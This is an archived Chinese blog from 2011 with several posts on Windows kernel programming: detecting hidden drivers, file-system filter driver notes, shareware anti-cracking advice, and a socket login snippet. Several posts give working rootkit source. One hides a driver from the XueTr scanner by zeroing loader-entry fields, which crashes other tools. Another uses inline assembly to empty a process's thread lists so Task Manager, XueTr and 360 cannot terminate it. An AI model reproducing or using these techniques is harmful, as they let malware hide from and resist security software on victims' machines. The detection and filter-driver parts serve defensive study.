2011年5月31日 星期二

隱藏驅動 搜尋方法(可找出某Np開頭的遊戲保護)

下面是關鍵代碼,可以查找斷開 PsLoadedModuleList 鏈的驅動,比如 Np開頭的遊戲保護



PDIRECTORY_BASIC_INFORMATION    pDriverBuffer = NULL;


pDriverBuffer = (PDIRECTORY_BASIC_INFORMATION)m_cSysInfo.QueryDirectoryObject(L"\\Driver", &uMemSize);




查找驅動物件目錄下的所有物件,查找代碼如下。



PVOID CNativeSysInfo::QueryDirectoryObject(PWSTR pwsDirPath, PULONG puMemSize)

{

    NTSTATUS            ntStatus;

    UNICODE_STRING      usDirPath;

    OBJECT_ATTRIBUTES   oa;

    HANDLE              hDir = NULL;

    PVOID               pBuffer = NULL;

    ULONG               uLength = 0x800;

    ULONG               uContext = 0;

    ULONG               uResult = 0;



    // 
判斷函數是否存在

    if(m_lpRtlInitUnicodeString == NULL ||

       m_lpZwOpenDirectoryObject == NULL ||

       m_lpZwQueryDirectoryObject == NULL ||

       m_lpZwClose == NULL)

    {

        return NULL;

    }



    // 
打開目錄物件

    m_lpRtlInitUnicodeString(&usDirPath, pwsDirPath);

    InitializeObjectAttributes(&oa, &usDirPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    ntStatus = m_lpZwOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &oa);

    if(ntStatus != STATUS_SUCCESS)

    {

        TRACE(_T("ZwOpenDirectoryObject failed!"));

        goto _exit;

    }



    // 
查詢目錄物件

    do

    {

        if(pBuffer)

            VirtualFree(pBuffer, uLength, MEM_DECOMMIT);



        uLength *= 2;



        pBuffer = VirtualAlloc(NULL, uLength, MEM_COMMIT, PAGE_READWRITE);

        if(pBuffer == NULL)

            goto _exit;



        ntStatus = m_lpZwQueryDirectoryObject(hDir, pBuffer, uLength, FALSE, TRUE, &uContext, &uResult);



    } while(ntStatus == STATUS_MORE_ENTRIES || ntStatus == STATUS_BUFFER_TOO_SMALL);



    // 
判斷查詢是否成功完成

    if(ntStatus == STATUS_SUCCESS)

    {

        if(puMemSize)

            *puMemSize = uLength;

    }

    else

    {

        VirtualFree(pBuffer, uLength, MEM_DECOMMIT);

        pBuffer = NULL;

    }



_exit:



    if(hDir)

    {

        m_lpZwClose(hDir);

        hDir = NULL;

    }



    return pBuffer;

}



然後把得到的結果和常規結果比較就可以找到隱藏驅動。隱藏驅動的相關資訊可以通過下面的方式得到。



    PDRIVER_OBJECT          pDrvObject = NULL;



    RtlInitUnicodeString(&usDirPath, (PCWSTR)pvInBuf);

    ntStatus = ObReferenceObjectByName(&usDirPath,

                                       OBJ_CASE_INSENSITIVE,

                                       NULL,

                                       0,

                                       *IoDriverObjectType,

                                       KernelMode,

                                       NULL,

                                       (PVOID*)&pDrvObject);



有了 DRIVER_OBJECT 結構就啥都有了!:)



下面是一個隱藏驅動的例子,用上面的辦法可以發現。



void _EraseDrvFromModList(PDRIVER_OBJECT pDrvObject)

{

    PLDR_DATA_TABLE_ENTRY   pOwen;

    PLDR_DATA_TABLE_ENTRY   pPrev;

    PLDR_DATA_TABLE_ENTRY   pNext;



    pOwen = (PLDR_DATA_TABLE_ENTRY)pDrvObject->DriverSection;

    pPrev = (PLDR_DATA_TABLE_ENTRY)pOwen->InLoadOrderModuleList.Blink;

    pNext = (PLDR_DATA_TABLE_ENTRY)pOwen->InLoadOrderModuleList.Flink;

    pPrev->InLoadOrderModuleList.Flink = (PLIST_ENTRY)pNext;

    pNext->InLoadOrderModuleList.Blink = (PLIST_ENTRY)pPrev;



    pOwen->InLoadOrderModuleList.Flink = (PLIST_ENTRY)pOwen;

    pOwen->InLoadOrderModuleList.Blink = (PLIST_ENTRY)pOwen;

}


Rootkit


Rootkit   


隱藏自身驅動 輕鬆繞過XueTr 0.39檢測

當系統載入一個驅動時,會為這個驅動建立一個_KLDR_DATA_TABLE_ENTRY結構體,DRIVER_OBJECT結構體的DriverSection成員指向這個結構體。以下是WRK_KLDR_DATA_TABLE_ENTRY結構體的定義:



typedef struct _KLDR_DATA_TABLE_ENTRY {

    LIST_ENTRY InLoadOrderLinks;

    PVOID ExceptionTable;

    ULONG ExceptionTableSize;

    // ULONG padding on IA64

    PVOID GpValue;

    PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;

    PVOID DllBase;

    PVOID EntryPoint;

    ULONG SizeOfImage;

    UNICODE_STRING FullDllName;

    UNICODE_STRING BaseDllName;

    ULONG Flags;

    USHORT LoadCount;

    USHORT __Unused5;

    PVOID SectionPointer;

    ULONG CheckSum;

    // ULONG padding on IA64

    PVOID LoadedImports;

    PVOID PatchInformation;

} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

其中 PVOID DllBase; 成員指明了驅動的載入基址;

UNICODE_STRING FullDllName;
指明了驅動.sys檔的全路徑;

所有驅動的結構體通過InLoadOrderLinks成員連結起來,鏈表頭部為PsLoadedModuleList,因此可以通過遍歷PsLoadedModuleList來得到所有載入的驅動。



在測試中發現,如果將某一驅動的DllBaseFullDllName.buffer填為0,那麼XueTr就不會顯示這個驅動,以下是將DllBase0時的驗證代碼:




 


 


 


 




#include <ntddk.h>



//
偷懶版,完整版定義見WRK_KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {

  LIST_ENTRY    InLoadOrderLinks;

  LIST_ENTRY    InMemoryOrderLinks;

  LIST_ENTRY    InInitializationOrderLinks;

  PVOID      DllBase;

  PVOID      EntryPoint;

  ULONG      SizeOfImage;

  UNICODE_STRING  FullDllName;

  UNICODE_STRING  BaseDllName;

}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;



PVOID  pDllBase;



VOID Reinitialize( PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count )

{

  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//
DllBase0

}



void testUnload(IN PDRIVER_OBJECT DriverObject)

{

  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;//
恢復DllBase,以便驅動能順利卸載

}



NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)

{

  DriverObject->DriverUnload = testUnload;

  pDllBase  =  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;

  IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);

  return STATUS_SUCCESS;

}

InstDrv.exe載入編譯後的驅動test.sys,依次點擊安裝、啟動,然後用XueTr查看驅動模組,裡面沒有test.sys;用IceSword.exe 1.22查看內核模組,可以看到test.sys的存在。





以下是將FullDllName.buffer填為0時的驗證代碼:

/*

 * 
【作者:KiDebug

 * 
【空間:http://hi.baidu.com/KiDebug/

 */

#include <ntddk.h>



//
偷懶版,完整版定義見WRK_KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {

  LIST_ENTRY    InLoadOrderLinks;

  LIST_ENTRY    InMemoryOrderLinks;

  LIST_ENTRY    InInitializationOrderLinks;

  PVOID      DllBase;

  PVOID      EntryPoint;

  ULONG      SizeOfImage;

  UNICODE_STRING  FullDllName;

  UNICODE_STRING  BaseDllName;

}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;



void testUnload(IN PDRIVER_OBJECT DriverObject)

{

}



NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)

{

  DriverObject->DriverUnload = testUnload;

  ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer=NULL;

  return STATUS_SUCCESS;

}

先用InstDrv.exe載入編譯後的驅動test.sys,依次點擊安裝、啟動,然後按兩下打開IceSword.exe 1.22,提示程式初始化失敗,錯誤代碼1”,然後提示無法初始化,程式退出;按兩下打開PowerTool.exe 3.6.2,藍屏。

打開XueTr.exe 0.39,查看驅動模組,顯示有可疑驅動的存在,如果在WinDBG中手動將ntkrnlpa.exe對應的FullDllName.buffer填為0XueTr不會顯示ntkrnlpa.exe的存在。



濃縮版:

1
DllBase0,無可疑驅動

2
FullDllName.buffer0,有可疑驅動

3
XueTr 0.39

4
:沒有建立DeviceObject


2011年5月29日 星期日

檔案過濾驅動學習筆記(還原軟體的基礎)

最近幾天學習了下檔案過濾驅動這方面的資料確實很少

這篇文章是我這幾天學習的總結特此貼出來供大家一起學習,

畢竟是初學檔案過濾驅動錯誤之處難免還請多多見諒.





下面進入正題

1.DriverEntry
常式

(1)
創建過濾驅動的控制設備以後我們的IO控制碼就是發到這個設備上面



//
這裡的設備名與普通設備有所不同.

//
當然最簡單的可以直接寫成 L"\\Device\\Filemontor";(FileMon中是這麼寫的調試過可行)

RtlInitUnicodeString( &nameString, L"\\FileSystem\\Filters\\FileMonitor" );

status = IoCreateDevice( DriverObject,

             0,                     //has no device extension  

                        //
這是與其他Attach到別的設備上的設備的不同之處 

             &nameString,

             FILE_DEVICE_DISK_FILE_SYSTEM,

             FILE_DEVICE_SECURE_OPEN,

             FALSE,

             &gSFilterControlDeviceObject );



if (status == STATUS_OBJECT_PATH_NOT_FOUND) {



  RtlInitUnicodeString( &nameString, L"\\FileSystem\\FileMonitor" );

  status = IoCreateDevice( DriverObject,

               0,                      

               &nameString,

               FILE_DEVICE_DISK_FILE_SYSTEM,

               FILE_DEVICE_SECURE_OPEN,

               FALSE,

               &gSFilterControlDeviceObject );





//
創建符號連結

RtlInitUnicodeString(&syblnkString, L"\\DosDevices\\FileMonitor");

status = IoCreateSymbolicLink( &syblnkString, &nameString );



if (!NT_SUCCESS(status)) {



  IoDeleteSymbolicLink( &syblnkString );

  status = IoCreateSymbolicLink( &syblnkString, &nameString );

  

  if (!NT_SUCCESS(status)) {



    KdPrint(("
創建符號連結失敗~\n"));

    IoDeleteDevice(gSFilterControlDeviceObject);

    return status;

  }

}



(2)
設置常式

for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {



  DriverObject->MajorFunction[i] = SfDispatch;

}

DriverObject->MajorFunction[IRP_MJ_CREATE] = SfCreate;



DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = SfFsControl;

DriverObject->MajorFunction[IRP_MJ_CLOSE] = SfCleanupClose;



(3)
調用IoRegisterFsRegistrationChange函數來通知我們檔案系統的載入和卷的mount.





2.SfCreate 
常式

(1)sfilter
的原版中是這麼寫的

if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {



  Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;

  Irp->IoStatus.Information = 0;

  IoCompleteRequest( Irp, IO_NO_INCREMENT );

  return STATUS_INVALID_DEVICE_REQUEST;

}



這樣寫的後果是我們用CreateFile函數在R3下打開此控制設備符號連結的時候失敗

我剛開始學習檔過濾驅動的時候對此不是很瞭解, CreateFile老是失敗

起初還以為是符號連結名寫錯了後來參看了FileMon的代碼才反應過來



於是修改如下:

if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {

    

  Irp->IoStatus.Status = STATUS_SUCCESS;

  Irp->IoStatus.Information = FILE_OPENED;

  IoCompleteRequest( Irp, IO_NO_INCREMENT );

  return STATUS_SUCCESS;

}



(2)
根據不同軟體的需要編寫此函數的接下來部分

[1]
比如我們要阻止病毒在Windows目錄下創建檔那麼我們就要在此檔還沒創建的時候得到此檔的全路徑.

要在這個時候得到檔的路徑楚狂人也說了有點麻煩下面提供一個函數給大家用於在檔創建前得到路徑.

BOOLEAN MzfGetFileFullPathPreCreate(PFILE_OBJECT pFile, PUNICODE_STRING path )

{

   NTSTATUS status;

   POBJECT_NAME_INFORMATION pObjName = NULL;

   WCHAR buf[256] = {0};

   void *obj_ptr = NULL;

   ULONG ulRet = 0;

   BOOLEAN bSplit = FALSE;



   if (pFile == NULL) return FALSE;

   if (pFile->FileName.Buffer == NULL) return FALSE;



   pObjName = (POBJECT_NAME_INFORMATION)buf;



   if (pFile->RelatedFileObject != NULL)

      obj_ptr = (void *)pFile->RelatedFileObject;

   else

      obj_ptr = (void *)pFile->DeviceObject;



   status = ObQueryNameString(obj_ptr, pObjName, 256*sizeof(WCHAR), &ulRet);

   if (status == STATUS_INFO_LENGTH_MISMATCH)

   {

      pObjName = (POBJECT_NAME_INFORMATION)ExAllocatePool(NonPagedPool, ulRet);



      if (pObjName == NULL)  return FALSE;



      RtlZeroMemory(pObjName, ulRet);



      status = ObQueryNameString(obj_ptr, pObjName, ulRet, &ulRet);

      if (!NT_SUCCESS(status)) return FALSE;

   }



 //
拼接的時候判斷是否需要加 '\\'

 if (pFile->FileName.Length > 2 && 

  pFile->FileName.Buffer[0] != L'\\' &&

  pObjName->Name.Buffer[pObjName->Name.Length/sizeof(WCHAR) -1] != L'\\')

    bSplit = TRUE;

 

 ulRet = pObjName->Name.Length + pFile->FileName.Length;



 if (path->MaximumLength < ulRet)  return FALSE;



 RtlCopyUnicodeString(path, &pObjName->Name);

 if (bSplit)

   RtlAppendUnicodeToString(path, L"\\");



 RtlAppendUnicodeStringToString(path, &pFile->FileName);



 if ((void*)pObjName != (void*)buf)

    ExFreePool(pObjName);



 return TRUE;

}



至此得到了檔的路徑以後我們就可以做出判斷了如果要阻止檔創建

那麼直接用IoCompleteRequest函數結束此IRP即可否則下發

IoSkipCurrentIrpStackLocation( Irp );

return IoCallDriver( ((PSFILTER_DEVICE_EXTENSION) DeviceObject->DeviceExtension)->AttachedToDeviceObject, Irp );



[2]
要是像FileMon那樣只是記錄系統中創建了哪些檔的話我們可以設置此函數的完成常式.

然後等檔創建完成了之後只要調用 IoQueryFileDosDeviceName 函數即可知道檔的全路徑了.



設置完成常式如下:

{

  KEVENT waitEvent;

  KeInitializeEvent( &waitEvent, NotificationEvent, FALSE );



  IoCopyCurrentIrpStackLocationToNext( Irp );

  IoSetCompletionRoutine(Irp, SfCreateCompletion, &waitEvent, TRUE, TRUE, TRUE );

  status = IoCallDriver( ((PSFILTER_DEVICE_EXTENSION) DeviceObject->DeviceExtension)->AttachedToDeviceObject, Irp );



  if (STATUS_PENDING == status) {



    NTSTATUS localStatus = KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    ASSERT(STATUS_SUCCESS == localStatus);

  }

  //
此處檔已經創建完成了我們可以調用IoQueryFileDosDeviceName函數得到檔的全路徑



  //
最後結束此IRP

  status = Irp->IoStatus.Status;

  IoCompleteRequest( Irp, IO_NO_INCREMENT );

  return status;

}



3.SfDispatch
常式

在此常式中要判斷是不是我們的控制設備如果使我們的控制設備則要處理相應的IO控制碼.

否則下發此IRP

NTSTATUS SfDispatch ( IN PDEVICE_OBJECT DeviceObject,  IN PIRP Irp )

{

  NTSTATUS status = STATUS_SUCCESS;

    PIO_STACK_LOCATION irpStack;

    

    if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {



        Irp->IoStatus.Information = 0;

        irpStack = IoGetCurrentIrpStackLocation( Irp );

    

        switch (irpStack->MajorFunction) {

      

    case IRP_MJ_DEVICE_CONTROL:

      // 
此函數用來執行相應的控制碼

      status = SpyCommonDeviceIoControl( Irp->AssociatedIrp.SystemBuffer,

                                                   irpStack->Parameters.DeviceIoControl.InputBufferLength,

                                                   Irp->AssociatedIrp.SystemBuffer,

                                                   irpStack->Parameters.DeviceIoControl.OutputBufferLength,

                                                   irpStack->Parameters.DeviceIoControl.IoControlCode,

                                                   &Irp->IoStatus );

      break;

      

    case IRP_MJ_CLEANUP

      status = STATUS_SUCCESS;

      break;

      

    default:

      status = STATUS_INVALID_DEVICE_REQUEST;

        }

    

        Irp->IoStatus.Status = status;

        IoCompleteRequest( Irp, IO_NO_INCREMENT );

        return status;

    }

  

  //
不是我們的控制設備則下發此IRP

    return SfPassThrough( DeviceObject, Irp );

}





IO
控制碼也可以在FASTIO常式的SfFastIoDeviceControl函數中處理,如下:

當然最簡單的還是在FASTIO常式中返回FALSE. 這樣系統便會調用我們上面的SfDispatch函數.

if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {

    

        SpyCommonDeviceIoControl( InputBuffer,

      InputBufferLength,

      OutputBuffer,

      OutputBufferLength,

      IoControlCode,

      IoStatus );

    

        return TRUE;




}




 點我下載原始碼




NetBoxDex v0.1 (NetBox 解壓縮工具源碼)





NetBox 
是一個全新概念的開發平臺,它提供了業界最快速的用於開發 Internet 商業應用的開發和編譯工具。NetBox 支援包括 JavaScriptVBScriptPerl 等目前應用最為廣泛的指令碼語言來構建功能強大和性能穩定的應用伺服器、網路服務器以及 HTML-Based 網路多媒體桌面應用。NetBox 支援目前最為流行的 XML  Web Service 工業標準和 ASPCOM.NET 等流行標準,NetBox 對協力廠商資料庫的完美支援使您新構建的商務應用可以容易的將已有的應用系統整合進來,從而充分利用現有的 IT 資源,大大的節約投資。NetBox 提供的 SSLTLS 安全協定、RSADES 等加密演算法和獨立於應用程式的虛擬機器技術使您的資料得到最大限度的保護。NetBox 提供將應用部署到無線設備的能力。NetBox 提供將您的應用編譯成獨立可執行檔的能力,極大的加快運行速度和代碼安全性。使用 NetBox 開發,大大提高了應用系統的可擴展性、穩定性和安全性。NetBox 的出現也首次讓應用軟體發展商能夠如此快速和容易的構建完整的基於 Internet 強大應用。


 


點我下載


2011年5月28日 星期六

淺談共享軟體如何不被暴力蹂躪

共享軟體是目前世界上軟體業比較熱門的話題,國內更是如此。成千上萬的程式師以極大的熱情投入到這個領域來,都憧憬著用辛勤的勞動獲得豐厚 的回報;但,實際並非如此,絕大多數的人都鎩羽而歸。值得注意的是:除了軟體設計和技術上的原因外,最大的原因就是共享軟體被破解(Crack)了……


  面對破解



一個做共享軟體的作者,面對的是已經形成團夥的眾多破解高手,國內的什麼CCG、BCG,國外的eGis、King、Core、TNT、DAMN和TMG,皆為水準一流的破解組織。全球盜版軟體不少於80%都是由他們的破解的,技術實力連大軟體公司都不可小視。



看到這裡,你是否已經灰心了?別怕,雖然目前我們理論上無法完全避免被破解,但如果能夠有效地拖延被破解的時間,並充分打擊破解者的自信心,是可以讓破解者無法忍受這種折磨從而最終放棄的。



破解,通常的做法有兩種——暴力破解(爆破)和寫註冊機。筆者就自己積累的經驗來依次講解每種破解方法的原理和應對方法,某些關鍵的常式講解
(Delphi代碼),使用C++和VB的朋友可以自己稍微修改一下。希望這能對一些新手有些幫助,能夠更有效地保護自己的勞動成果。


  認識暴力破解



暴力破解簡稱「爆破」,這是破解手段中最常見的,也是最簡單的破解方法。該法最適合於對付沒有CRC校驗的軟體,破解新手樂於採用。



大凡共享軟體,驗證是否註冊大多採用if條件陳述式來進行判斷,即使你採用了什麼RSA或ECC等強力加密演算法,也免不了使用if條件陳述式。這裡就是共享軟體最為危險的地方,也是爆破新手孜孜不倦所尋求的目標。

例如,你的註冊函數類似如下:



利用RSA進行註冊碼的數位簽章驗證



if RSAVerify MD5 Key  MD5 Code  e n  then

ShowMessage '註冊成功!' 

else

ShowMessage '註冊失敗!' 



這裡Key是用戶輸入的註冊碼,是由你發送給註冊使用者的,Code是根據使用者輸入的用戶名自動計算出來的註冊碼,e是RSA演算法的公匙,而n是RSA演算法的模數。



第一次過招



上例註冊函數即使使用了強勁的RSA演算法進行註冊碼驗證,但依然很容易被破解,我們只要把這裡修改為:



將邏輯判斷改為否



if not RSAVerify MD5 Key  MD5 Code  e n  then

ShowMessage '註冊成功!' 

else

ShowMessage '註冊失敗!' 



這時戲劇性的結果會產生:隨便輸入任何註冊碼都可以註冊通過,相反輸入正確的註冊碼卻無法通過註冊。



要破解這樣的軟體就必須先反彙編或者跟蹤你的程式,找到判斷註冊碼的cmp、test等彙編指令後的關鍵跳轉指令處,通常是je、jz之類的彙編指令,把它們修改為jne或jnz即可,這樣常常只需要修改一個位元組就可以完美破解了。



目前大部分共享軟體都是用以上方法進行判斷,這也是為什麼網上被破解的軟體鋪天蓋地的主要原因。因為這樣破解實在是太簡單了……



第二次過招



其實只要把軟體的關鍵代碼嵌入到註冊碼或者註冊檔中就可以充分防止破解。



最簡單的方法就是把關鍵代碼(你的軟體功能限制部分最關鍵而且最簡單的一個函數)做成一個小DLL(動態連結程式庫),用強力對稱演算法加密(密匙可以是主程
序某一固定不變的部分或殼的特徵Hash值)後生成一個註冊檔(License檔,這格式只有你知道),或者Base64編碼後生成一個註冊表檔, 用戶可以按兩下導入註冊表內。



校驗流程如下:已註冊用戶驗證註冊碼時,先驗證有沒有檔,沒有檔則自然受限制的功能無法使用。如果有 註冊檔,解密後即生成一個小臨時檔。如果主程序被脫殼或者被修改(爆破),自然Hash值密碼不符,解密出來的肯定都是垃圾碼,沒有一點用處。只有沒 有被修改的主程序才能正確地解碼,而且當然

只有解密正確的檔才是一個真正的DLL檔,才能被GetProcAddress函數找到欲調用的關鍵函數位址。這樣只有已註冊用戶才可以享受到你的軟體的全部功能了。如此一來,Cracker破解你的軟體就變得很困難了。



首先,他如果沒有註冊檔,即使他把主程序脫殼了,由於受限制的部分和註冊檔是關聯的,他也根本無法修補完整。



第二,即使他得到了你的註冊檔,由於是加密檔,他也無法直接利用,這樣就逼迫他去拆解你的演算法,這可是他們最不願意碰到的事情啊!如果到了這一步,只有真正對加密演算法有研究的Cracker高手才會繼續破解下去。



第三,你是可以用些小技巧來使他的破解工作更加繁鎖。這裡我推薦大家使用DSA公開密匙加密演算法,它和RSA一樣,可以進行數位簽章(RSA還可以加 密,DSA則只能進行數位簽章)。這裡選用它的原因就是它有一項非常實用的特性:亂數填充機制。即DSA每次簽名都要使用一個亂數K,正因為有這 個K的存在,即使是相同的用戶名和機器識別字,由DSA加密過的每份註冊檔都不會相同。這對Cracker拆解你的註冊檔來說是一個極大的障礙。



第四,即使他得到瞭解密後的DLL檔,他也需要大幅度地修改主程序或者把你的DLL部分的關鍵代碼拆出來添到主可執行檔中。這就看他對PE檔案格式 理解得如何了。即使這樣,如果你的程式中有大量的Hash校驗和死機代碼,你就耐心等著我們可愛的Cracker同志吐血吧……:)



最後還要記住:用完這個DLL暫存檔案後立即從記憶體中卸載此DLL並刪掉,而且注意在解密之前探測一下,系統中有沒有FileMon這個威脅極大的探測器:



探測FileMon



function DetectFileMon Boolean

begin

if CreateFile PChar '\\.\FILEVXD' 

GENERIC_READ or GENERIC_WRI

TE

FILE_SHARE_READ or FILE_SHAR

E_WRITE

nil

OPEN_EXISTING

FILE_ATTRIBUTE_NORMAL

0 <> INVALID_HANDLE_VALUE
then

Result = True //如果有,就關機!

else

Result = False

end



當然,你可以保護得更好一些:可以不採用臨時DLL,而把解密後的關鍵代碼用WriteProcessMemory這個API函數寫入到主可執行檔自 己進程被提交(Committed)的記憶體頁面的指定位置去。這樣由於磁片上沒有解密後的暫存檔案,破解更加困難。事實上,目前世界上最強勁的專業保護軟
件Amadillo就是用的這種方法。而且這種方法可以充分防止被調試器Dump。但實現起來比較困難,尤其是在WinNT 5以後的作業系統中。

由於這種方法將註冊檔和受限制代碼惟一關聯,爆破手拿到你的軟體也只有乾瞪眼。建議大家都給共享軟體加上功能限制,這樣比時間和次數限制更加安全。


實現用IDA調試內核驅動


以前總想知道 IDA 是否能夠實現內核調試,後來找了一段時間沒什麼結果就暫時放棄了。 今天在國外的一個博客上偶然看到了用 IDA 實現內核調試的方法,其實現在國內也有很多文 章介紹了 IDA 通過串口進行調試的文章,如果大家想看的話可以搜索下。
這裡只是參考原文把實現的方法大體的用中文表述了一下。在調試之前需要安裝如下的 軟體:
1. IDA PRO 這個我想大家都應該有了;
2. Windbg 如果調試過驅動或者系統內核的話這個東西也應該有了;
3. VirtualKd 這個東西我想大家如果沒有做過使用 IDA 調試內核的話這個東西應該是 還沒有。


我把它整理成PDF檔案


 


點這下載


超強驅動防行程終止

2011.5.29測試有效


【提示】能加驅動進內核,就沒必要弄EXE了,所以我個人覺得沒啥實際用途,僅供觀看



Windows
會給每一個進程建立一個EPROCESS結構,給每一個執行緒建立ETHREAD結構,EPROCESS結構第一個成員是KPROCESS結構,ETHREAD結構第一個成員是KTHREAD結構。每個進程的執行緒的ETHREAD結構都會按下圖所示連結起來: 


 Rootkit  


 


裡面有兩條鏈表。通過遍歷這兩條鏈表,可以得到一個進程所有的執行緒。Windows在執行執行緒調度時,不會去管這兩條鏈表。只有當新建一個執行緒時,會加入到鏈表中,一個執行緒退出時,會從鏈表中移除。



如果在EPROCESS中將這兩條鏈表置空,會發生什麼事呢?







以下是驗證步驟:



【注意】請先關閉防毒軟體,以免載入驅動時提示。驅動代碼中用了一堆的硬編碼,所以請確保作業系統為Windows XP SP3 中文版,否則可能藍屏。



1.
編譯以下代碼為haha.exe

/*

 * 
【作者:KiDebug

 * 
【空間:http://hi.baidu.com/KiDebug/

 */

#include <Windows.h>



int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)

{

  //
這個迴圈是用來證明進程沒有被結束,不是重點,請無視!

  while (1)

  {

    MessageBoxA(NULL,"
關不了,氣死你!~","哈哈!~",MB_OK);

  }

  return 0;

}



按兩下打開haha.exe,它會不斷地調用MessageBox彈出對話方塊,此時工作管理員、XueTr360進程管理器都可以結束haha.exe



2.
確保haha.exe可以彈出對話方塊,然後再編譯以下代碼為ProtectHaha.sys,利用InstDrv.exe載入ProtectHaha.sys,依次點擊安裝、啟動、停止、卸載

/*

 * 
【作者:KiDebug

 * 
【空間:http://hi.baidu.com/KiDebug/

 */

#include <ntddk.h>



void DriverUnload(IN PDRIVER_OBJECT DriverObject)

{

}



NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)

{

  __asm

  {

    mov ebx,PsInitialSystemProcess

    mov ebx,[ebx]

    lea ebx,[ebx+88h]        //+0x088 ActiveProcessLinks : _LIST_ENTRY

L1:    mov ebx,[ebx]          //
遍歷ActiveProcessLinks,找haha.exeEPROCESS

    cmp dword ptr [ebx+0ECh],61686168h

    jnz L1

    cmp dword ptr [ebx+0F0h],6578652eh    //68 61 68 61 2e 65 78 65 haha.exe

    jnz L1



    //88h
50h190h194h都是硬編碼,適用於Windows XP SP3

    lea ebx,[ebx-88h]        //EBX
haha.exeEPROCESS

    lea eax,[ebx+50h]        //nt!_KPROCESS

    mov [ebx+50h],eax        //+0x050 ThreadListHead : _LIST_ENTRY

    mov [ebx+54h],eax        //
置為空鏈

    lea eax,[ebx+190h]        //nt!_EPROCESS

    mov [ebx+190h],eax        //+0x190 ThreadListHead : _LIST_ENTRY

    mov [ebx+194h],eax        //
置為空鏈

  }



  DriverObject->DriverUnload = DriverUnload;

  return STATUS_SUCCESS;

}

3.
打開工作管理員,選中haha.exe,點擊結束進程haha.exe無法結束,仍然可以不停地彈對話方塊;

4.
打開XueTr,在進程視窗中選中haha.exe按右鍵,點擊結束進程haha.exe無法結束,仍然可以不停地彈對話方塊;刷新,再次右鍵,點擊強制結束進程haha.exe無法結束,仍然可以不停地彈對話方塊;

5.
打開360安全衛士(8.0.0.2001),啟動功能大全裡面的進程管理器,選中haha.exe,點擊關閉程式haha.exe無法結束,仍然可以不停地彈對話方塊;



【注意】

1.
有可能點擊對話方塊右上角的關閉按鈕後,haha.exe會假死。這時先隨便點下桌面或其他什麼地方,再點對話方塊的確定按鈕,就又活過來了。

2.
如果要應用到其他進程上,請確保驅動啟動後這個進程不會新建執行緒,否則強制結束進程可以結束掉新建執行緒,可能會造成進程假死。

3.haha.exe
中只有一個執行緒,對於其他進程,在EPROCESS中將兩條鏈表置空後需要將鏈表中第一個執行緒和最後一個執行緒的ThreadListEntry連結起來。

4.
對於其他進程,置空鏈表時需要考慮同步問題。



如何結束haha.exe呢?

XueTr“進程視窗中選中haha.exe按右鍵,點擊查看進程執行緒,把看到的執行緒全部結束即可。

WS
點可以把執行緒棧空間設小點,然後創建成百上千個執行緒……


2011年5月25日 星期三

網路使用者密碼登入 驗證過程

通常網路密碼驗證過程是這樣的:用戶端在獲取使用者輸入的用戶名和密碼資訊之後創建socket通訊端與遠端伺服器建立一個連接,發送用戶名和密碼並等待伺服器返回消息,伺服器收到用戶名和密碼之後查詢伺服器資料庫,如果用戶名密碼正確返回給用戶端一個登錄成功消息,否則返回一個密碼錯誤的消息! 
 
下面是用VC++實現驗證過程中的部分代碼,代碼有點亂: 
//獲取使用者輸入資訊 
void CClientDlg::OnOK() 

//之前socket已經經過初始化 
UpdateData(); 
if(m_username.IsEmpty()||m_userID.IsEmpty()) 
  MessageBox("請輸入所有資訊!","用戶登錄",MB_OK); 
else 

  if(Load()) //調用驗證函數 
  { 
//   close(destSocket); 
   closesocket(destSocket); 
   CDialog::OnOK(); 
   MessageBox("登陸成功!","用戶登錄",MB_OK);//驗證成功 
   CChat chat; 
   chat.m_username=m_username; 
//   chat.res=res; 
   chat.DoModal(); 
  } 
  else 
  {      //驗證失敗 
   MessageBox("尚未註冊或\n用戶名/密碼有誤。","用戶登錄",MB_OK); 
  } 


BOOL CClientDlg::Load() //發送"Load:" 

////////////////////////發送登陸資訊並接收回饋資訊///////////////////////////// 
char sendText[100],recvText[5025]; 
int numsnt,numrcv,status; 
sprintf(sendText,"Load:%s,%s",m_username,m_userID); 
numsnt=send(destSocket, sendText, strlen(sendText) + 1, NO_FLAGS_SET); 
if (numsnt != (int)strlen(sendText) + 1) 
    { 
  MessageBox("ERROR: Connection terminated!","用戶登錄",MB_OK); 
  status=closesocket(destSocket); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
     status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
    } 
numrcv=recv(destSocket, recvText, 5025, NO_FLAGS_SET); 
